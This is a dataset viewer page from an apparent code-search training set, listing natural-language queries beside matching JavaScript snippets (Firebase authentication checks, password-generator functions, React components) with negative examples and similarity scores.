Search is not available for this dataset
query
stringlengths
7
355k
document
stringlengths
9
341k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
check if user is authenticated, if they are then set to true, otherwise false currentUser holds the user object when logged in
componentDidMount() { firebase.auth().onAuthStateChanged((user) => { user ? this.setState(() => ({ authenticated: true, currentUser: user, photoUrl: localStorage.getItem("photoUrl") })) : this.setState(() => ({ authenticated: false, currentUser: null, })); }); //this.getImage(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "get isAuthenticated() {\n return Boolean(this.user);\n }", "function isAuthenticated() {\n if (_currentUser) {\n if (service.getToken()) {\n return true;\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "isAuthenticated() {\n if (this.getUserLS())\n return true;\n else \n return false;\n }", "isLoggedIn() {\n if (user) {\n return true\n } else {\n return false\n }\n }", "function isAuthenticated() {\n return !!user;\n }", "isLoggedIn() {\r\n return this.authenticated;\r\n }", "isAuthenticated() {\r\n return !(this.user instanceof core.User);\r\n }", "isAuthenticated () {\r\n let authData = ref.getAuth();\r\n\r\n if (authData) {\r\n currentUserID = authData.uid;\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "function isUserSignedIn() {\n return !!getAuth().currentUser;\n}", "isAuthenticated() {\n return this.authenticated;\n }", "checkIfUserisAuthenticated () {\n return Auth.currentAuthenticatedUser()\n .then(user => {\n logger.debug('User is Authenticated!!', user)\n return user\n })\n .catch(err => {\n logger.debug('User not authenticated!!', err)\n return false\n })\n }", "function isAuthenticated() {\n if (_authenticated) {\n return _authenticated;\n } else {\n const tmp = angular.fromJson(localStorage.userIdentity);\n if (typeof tmp !== 'undefined' && tmp !== null) {\n this.authenticate(tmp);\n return _authenticated;\n } else {\n return false;\n }\n }\n }", "get isUserLoggedIn() {\n return !!this.__userToken__\n }", "function isLoggedin(){\n if(currentUser()){\n return true;\n }else{\n return false;\n }\n}", "isLoggedIn() {\n return _isObject(this.user) &&\n _isNumber(this.user.id) && this.user.id !== GUEST_USER_ID\n }", "isLoggedIn() {\n return _isObject(this.user) &&\n _isNumber(this.user.id) && this.user.id !== GUEST_USER_ID\n }", "function userSignedIn() {\n return !!firebase.auth().currentUser;\n }", "function isUserLoggedIn() {\n // Replace with your authentication check logic\n return true;\n}", "getIsLoggedIn() {\n if (this.getUserRole() === CURRENT_UID_ROLE) {\n this.loggedIn = true;\n } else {\n this.loggedIn = false;\n }\n return this.loggedIn;\n }", "function isAuthenticated() {\n return !!getUserInfo();\n }", "function isUserSignedIn() {\n\treturn !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\r\n return !!firebase.auth().currentUser;\r\n}", "function isUserSignedIn() {\nreturn !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\nreturn !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\nreturn !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\r\n return !!firebase.auth().currentUser;\r\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "function isUserSignedIn() {\n return !!firebase.auth().currentUser;\n}", "static isUserAuthenticated() {\n if (localStorage.getItem('token') === null || localStorage.getItem('token') === false) {\n return false;\n } else { return true }\n }", "get isUserLoggedIn() {\n return !!this.__userApiToken__\n }", "function isUserLoggedIn(options) {\n if (options) {\n if (currentUser) {\n return options.fn(this); //true\n }\n return options.inverse(this); // false\n } else {\n if (currentUser) {\n return true;\n }\n return false;\n }\n}", "function isLoggedIn() {\n return ($localStorage.user) ? $localStorage.user : false;\n }", "isUserLoggedIn() {\n if (Meteor.userId()) {\n return true;\n } else {\n return false;\n }\n }", "isLoggedIn() {\n\t\treturn this.isAuthenticated() && this.exists()\n\t}", "get isLoggedIn() {\n const user = JSON.parse(localStorage.getItem('user'));\n return (user !== null && user.emailVerified !== false);\n }", "function userSignedIn() {\n return !!firebase.auth().currentUser;\n}", "userAuthenticated(state) {\n return state.user !== null && state.user !== undefined;\n }", "isAuthenticated () {\n if(this.getToken())\n return true\n else\n return false\n }", "isLoggedInUser() {\n return Meteor.userId() ? true : false;\n }", "static isUserAuthenticated() {\n return localStorage.getItem('token') !== null;\n }", "isauthenticated (state) {\r\n return state.userId !== null\r\n }", "function isAuthenticated(){\r\n return $cookieStore.get('username') ? true : false;\r\n }", "isLoggedIn() {\n return localStorage.getItem('user') != null\n }", "function isAuthenticated() {\n return compose()\n .use(function(req, res, next) { // used to validate jwt of user session\n if(req.query && req.query.hasOwnProperty('access_token')) { // allows 'access_token' to be passed through 'req.query' if necessary\n req.headers.authorization = 'Bearer ' + req.query.access_token;\n }\n validateJwt(req, res, next);\n })\n .use(function(req, res, next) { //used to attach 'user' to 'req'\n User.findById(req.user._id, function (err, user) {\n if (err) return next(err);\n if (!user) return res.status(401).send('Unauthorized');\n\n req.user = user;\n console.log('user auth success');\n next();\n });\n });\n}", "isAuthenticated() {\n\t\t\treturn this.props.isAuthenticated;\n\t\t}", "loggedIn(state) {\n return !!state.currentUser\n }", "loggedIn(state) {\n return !!state.currentUser\n }", "loggedIn(state) {\n return !!state.currentUser;\n }", "function getCurrentUser() {\n\n if ($localStorage.currentUser) {\n\n $rootScope.currentUser = JSON.parse($localStorage.currentUser);\n $rootScope.loggedIn = true;\n } else {\n\n $rootScope.loggedIn = false;\n }\n }", "function loggedIn() {\n\n if (globalUser) {\n return true;\n } else {\n return false;\n };\n}", "loggedIn() {\n\t\tconst token = this.getToken();\n\t\treturn token ? true : false;\n\t}", "isLoggedIn() {\n return !!(getUsername() && getToken());\n }", "get userLoggedIn() {\n return !!this.getUserApiToken()\n }", "static isUserAuthenticated() {\n return localStorage.getItem('token') !== null;\n }", "loggedIn() {\n const token = this.getToken();\n return token ? true : false;\n }", "function isUserSignedIn() {\n return !!firebase.auth().currentUser; // TODO 6: Return true if a user is signed-in.\n}", "isUserLoggedIn() {\n return null !== sessionStorage.getItem('username') && null !== sessionStorage.getItem('accessToken')\n }", "get isAuthenticated() {\n return this.use().isAuthenticated;\n }", "isLoggedIn() {\n return sessionStorage.getItem('user') != null\n }", "userLoggedIn() {\n return !!this.getToken();\n }", "checkLoggedIn() {\n this.isLoggedIn(null);\n }", "function isUserLoggedIn() {\n if (authData) {\n console.log(\"User \" + authData.uid + \" is logged in with \" + authData.provider);\n return authData;\n } else {\n console.log(\"User is logged out.\");\n return false;\n }\n }", "function isAuthenticated() {\n return (\n compose()\n // Validate jwt\n .use((req, res, next) => {\n const { authorization } = req.headers;\n if (config.encriptedToken) {\n const bytes = CryptoJS.AES.decrypt(\n authorization.toString(),\n config.encriptedTokenKey,\n );\n req.headers.authorization = bytes.toString(CryptoJS.enc.Utf8);\n }\n req.authorization = authorization;\n req.headers.authorization = `Bearer ${req.headers.authorization}`;\n validateJwt(req, res, next);\n })\n // Attach user to request\n .use((req, res, next) => {// eslint-disable-line\n if (!req.user || !req.user._id) {// eslint-disable-line\n res.statusMessage = 'User Data is Null';\n return res.status(401).end();\n }\n \n const findUserQuery = {\n _id: req.user._id, // eslint-disable-line\n active: true,\n };\n\n User.findOneAndUpdate(findUserQuery, {\n $set: { 'activityLogs.lastVisit': new Date() },\n })\n .exec()\n .then(user => {\n if (!user) {\n return res.status(401).end();\n }\n const userData = JSON.parse(JSON.stringify(user));\n delete req.authorization;\n req.user = userData;\n return next();\n })\n .catch(err => next(err));\n })\n );\n}", "function isUserLoggedIn(){\n var isLoggedIn;\n if (session.username){\n isLoggedIn = true;\n }\n else {\n isLoggedIn = false;\n }\n return isLoggedIn;\n\n }", "function loggedIn(){\n return (firebase.auth().currentUser!=null);\n}", "user() {\n if (this.authenticated) return this.authenticated;\n\n let user = JSON.parse(localStorage.getItem('user'));\n\n if (user) {\n this.authenticated = new User(user.id, user.name, user.email, user.token);\n\n return this.authenticated;\n }\n\n return false;\n }", "isLogged()\n {\n if(SessionService.get('token') != null){\n this.authenticated = true;\n return true;\n }else{\n this.authenticated = false;\n return false;\n }\n }", "function isLoggedIn() {\n return (!can.isEmptyObject(userData) && !isEmpty(userData.access_token));\n}", "function sync() {\n var session = JWT.remember();\n user = session && session.claim && session.claim.user;\n $rootScope.authenticated = !!user;\n }", "function isLoggedIn() {\n return getSession()\n }", "loggedIn() {\n return !!localStorage.auth;\n }", "loggedIn() {\n return (!!localStorage.uid && !!localStorage.accessToken && !!localStorage.client);\n }", "isAuthenticated () {\n let authData = ref.getAuth(); //Firebase method\n return (authData) ? true : false;\n }", "function isAuthenticated() {\n return compose()\n // Validate jwt\n .use(function(req, res, next) {\n // allow jwt to be placed on query string too\n if (req.query && req.query.hasOwnProperty('access_token')) {\n req.headers.authorization = 'Bearer ' + req.query.access_token;\n }\n validateJwt(req, res, next);\n })\n // attach user to the request\n .use(function(req, res, next) {\n User.findById(req.user._id, function(err, user) {\n if (err) {\n return next(err);\n }\n\n if (!user || _.isEmpty(user)) {\n return res.send(401);\n }\n\n req.user = user;\n next();\n });\n });\n}", "loggedIn() {\n var user = localStorage.getItem('user');\n var isLogged = false;\n /*\n if (user) {\n user = JSON.parse(user);\n if (user.token !== '') {\n isLogged = true;\n }\n }*/\n if (user) {\n isLogged = true;\n }\n return isLogged;\n }", "isAuthenticated() {\n var currentUser = this.getCookie(\"user\");\n var currentSession = this.getCookie(\"usid\");\n //var authenticated = false;\n\n if (currentUser && currentSession) {\n // if cookie values exist\n /*const params = {\n email: currentUser,\n usid: currentSession\n };\n\n axios\n .post(AUTH_USER_URL, qs.stringify(params))\n .then(response => {\n console.log(response);\n\n if (response.data[\"success\"] === true) {\n // user is authenticated\n\n //return (this.authenticated = true);\n authenticated = true;\n } else {\n // user not authenticated\n //return (this.authenticated = false);\n authenticated = false;\n }\n })\n .catch(error => {\n console.log(error);\n });\n } else {\n // cookie values empty\n authenticated = false;\n }\n return authenticated;*/\n return true;\n } else {\n return false;\n }\n }", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}", "function loggedIn() {\n return !!meteor_1.Meteor.user();\n}" ]
[ "0.7866672", "0.7749761", "0.7639786", "0.7633894", "0.76000744", "0.75801116", "0.7536626", "0.7500361", "0.747729", "0.73847836", "0.7370529", "0.7367441", "0.73660344", "0.73567843", "0.73361003", "0.73361003", "0.72702104", "0.72647005", "0.7237949", "0.7222851", "0.7212824", "0.72127056", "0.72018087", "0.72018087", "0.72018087", "0.7199862", "0.7172155", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.71718466", "0.7160291", "0.71539307", "0.7135481", "0.7130118", "0.7119866", "0.7116326", "0.71156895", "0.7072447", "0.70713055", "0.7061615", "0.70448357", "0.7041548", "0.70051587", "0.7003343", "0.6997557", "0.69971806", "0.6982393", "0.69822687", "0.69822687", "0.69698584", "0.6969054", "0.6950245", "0.6949248", "0.6936673", "0.69363046", "0.69358706", "0.6935549", "0.6930327", "0.692036", "0.6919554", "0.6872831", "0.68673277", "0.68545717", "0.6850586", "0.6826856", "0.68158674", "0.6814211", "0.6813371", "0.6797372", "0.67968416", "0.67768514", "0.6775871", "0.6754448", "0.6751624", "0.6750155", "0.67443377", "0.6717004", "0.6712451", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046", "0.66967046" ]
0.0
-1
Write password to the password input
function writePassword() { let password = generatePassword(); //Need to write function generatePassword(), writePassword() should work already var passwordText = document.querySelector("#password"); passwordText.value = password; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function writePassword() {}", "function writePassword() {\n var password = getPasswordOptions();\n var passwordText = document.querySelector('#password');\n \n passwordText.value = password;\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n generatePassword()\n }", "function writePassword() {\n var password = buildPassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n \n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n \n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var passwordLen = getpasswordLength();\n var options = getPasswordOptionSet();\n\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = makePassword(passwordLen, options);\n\n\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n }", "function writePassword() {\n let password = generatePassword(passwordlength).join(\"\");\n let passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n getUserInputs();\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n // Reset variables\n passwordLength = 0;\n selectedCharacters = \"\";\n includeLowercase = false;\n includeUppercase = false;\n includeNumbers = false;\n includeSpecialChar = false;\n}", "function writePassword() {\n\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var length = getPasswordLength();\n length = parseInt(length);\n ensureCharacterType();\n var password = generatePassword(length);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}", "function writePassword() {\n var password = generatePassword()\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n }", "function writePassword() {\n var passwordReqs = {};\n passwordReqs = passReqs(passwordReqs);\n var password = generatePassword(passwordReqs);\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n // Only set the new password if one was actually generated. Otherwise, keep the previous password on the screen.\n if (passwordText !== \"\") {\n passwordText.value = password;\n }\n}", "function writePassword() {\n let newOptions = { ...options };\n setOptions(newOptions);\n var password = generatePassword(newOptions);\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n\tvar passwordText = document.querySelector('#password');\n\n\tpasswordText.value = finalPassword;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n //prompt(password)\n }", "function _3writePassword(password) {\n console.log(\"writing password\")\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n \n}", "function writePassword() {\n const password = generatePassword();\n const passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n const password = generatePassword();\n const passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var criteria = passwordCriteria();\n var password = generatePassword(criteria);\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n \n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n \n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n \n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n \n }", "function writePassword() {\n var password = generatePassword();\n // If password is empty string, return without printing\n if (!password) {\n return;\n }\n var passwordText = document.querySelector('#password');\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n if (password !== undefined) {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n }\n}", "function writePassword() {\n var password = generatePassword();\n if (password) {\n var passwordText = document.querySelector('#password');\n\n passwordText.value = password;\n }\n}", "function writePassword () {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\")\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword().join(\"\");\n // console.log(password);\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = pwCriteria();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword(password) {\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n\n }", "function writePassword() {\n var userPassword = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = userPassword;\n }", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n \n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n return;\n}", "function writePassword() {\n var password = createPassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\r\n\r\n var password = generatePassword(),\r\n passwordText = document.querySelector(\"#password\");\r\n\r\n passwordText.value = password;\r\n \r\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n if(password) {\n passwordText.value = password;\n }\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector('#password');\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n passwordText.value = password;\n passwordEngine.reset();\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n passwordText.value = password;\n\n // clears password variables in case user doesn't click clear button before generating a new password\n passCreate = \"\";\n password = \"\";\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}", "function writePassword() {\n var password = generatePassword();\n var passwordText = document.querySelector(\"#password\");\n\n passwordText.value = password;\n}" ]
[ "0.88605946", "0.85434437", "0.8511256", "0.8500835", "0.84896296", "0.84846", "0.84719414", "0.84686357", "0.8454292", "0.8443738", "0.8431387", "0.8419759", "0.8418786", "0.8406216", "0.8403772", "0.8400314", "0.8392802", "0.83758265", "0.8370068", "0.83642554", "0.836013", "0.8358564", "0.8357296", "0.8355442", "0.8354251", "0.83408403", "0.83408403", "0.8301905", "0.8292826", "0.8292826", "0.8292826", "0.8292826", "0.828747", "0.8274406", "0.8269479", "0.82615584", "0.8256443", "0.82556236", "0.82519406", "0.8250689", "0.82503533", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.8244716", "0.82437736", "0.82437736", "0.82437736", "0.8240616", "0.8238806", "0.8238588", "0.8236282", "0.82324123", "0.82302624", "0.82299846", "0.8229535", "0.8229535", "0.82283163", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293", "0.82256293" ]
0.0
-1
import ChooseHostel from "./components/ChooseHostel"; import Floor from "./components/Floor"; import Gender from "./components/gender";
function App() { return ( <> <SignInScreen /> </> ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function App() {\n return (\n <div>\n {/* <Routes/> */}\n <InputColleges/>\n <ShowColleges/><br/>\n <CollegeDetails/>\n \n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <BaiTapThucHanhChiaLayout/> */}\n {/* <DataBuilding></DataBuilding> */}\n {/* <DataBuildingFC></DataBuildingFC> */}\n {/* <HandleEvent></HandleEvent>\n <HandleEventFC></HandleEventFC> */}\n {/* <RenderData></RenderData> */}\n <ChooseCarColor></ChooseCarColor>\n {/* <ChooseFilm></ChooseFilm> */}\n {/* <ChooseGlasses></ChooseGlasses> */}\n </div>\n );\n}", "function Machine() {\n\n\n return (\n <div>\n <TransportComponent />\n </div>\n )\n\n}", "render() {\n return (\n <div className=\"App\">\n <Login></Login>\n <Weather ></Weather>\n <Channels></Channels>\n </div>\n );\n }", "function UtensilsMain() {\n return (\n <Fragment>\n <UtensilsForm />\n <UtensilsDisplay />\n </Fragment>\n )\n}", "render(){\n return(\n <div>\n <h1>Liste des employés</h1>\n <MenuAllForm/>\n <EmployeForm/>\n </div>\n );\n }", "function App() {\n return (\n <div>\n <Router>\n <switch>\n <Route exact path='/' component={Ageclass}></Route>\n <Route exact path='/1' component={Cityclass}></Route>\n <Route exact path='/2' component={Dobclass}></Route>\n <Route exact path='/task2' component={Login}></Route>\n <Route exact path='/task3' component={Arithamaticoperation}></Route>\n <Route exact path='/task4' component={Eventchange}></Route>\n <Route exact path='/task5' component={Restfullservice}></Route> \n\n\n </switch>\n </Router>\n </div>\n );\n}", "function App (){\n\n \n\n \n return (\n <div className=\"App\">\n <div className=\"header123\"><Header/></div>\n \n<div className=\"brightlow\">\n <div className=\"feature123\"><FeatureSection/></div>\n <div className=\"pocket123\"> <PocketSection/></div>\n <div className=\"action123\"> <ActionSection/></div>\n \n <div className=\"city123\"><CitySection/></div>\n <div className=\"footer123\"><Footer/></div>\n </div></div>\n \n );\n}", "function Main() {\n\n\n return (\n <div>\n <CardGrillaArriendosHome />\n\n </div>\n )\n}", "function App() {\n return (\n <div className=\"App\">\n <UserProvider value=\"Prince\">\n <ComponentC />\n </UserProvider>\n\n {/*\n <ClickCounter name=\"Prince\" />\n <HoverCounter name=\"Prince\"/>\n <ErrorBoundary>\n <Hero heroName=\"superman\"/>\n </ErrorBoundary>\n <ErrorBoundary>\n <Hero heroName=\"batman\"/>\n </ErrorBoundary>\n <ErrorBoundary>\n <Hero heroName=\"joker\"/>\n </ErrorBoundary>\n <PortalsDemo />\n <FRParentInput />\n <Focusfile />\n <RefsDemo />\n <ParentComp />\n <Fragmentdemo />\n <Column />\n <LifecycleA />\n <Form />\n <Namelist />\n <Usergreeting />\n <Parentcomponent />\n {/* <Eventbind />\n */}\n {/* <Functionclick />\n <Classclick />\n /* /* < Counter />\n <Message />\n 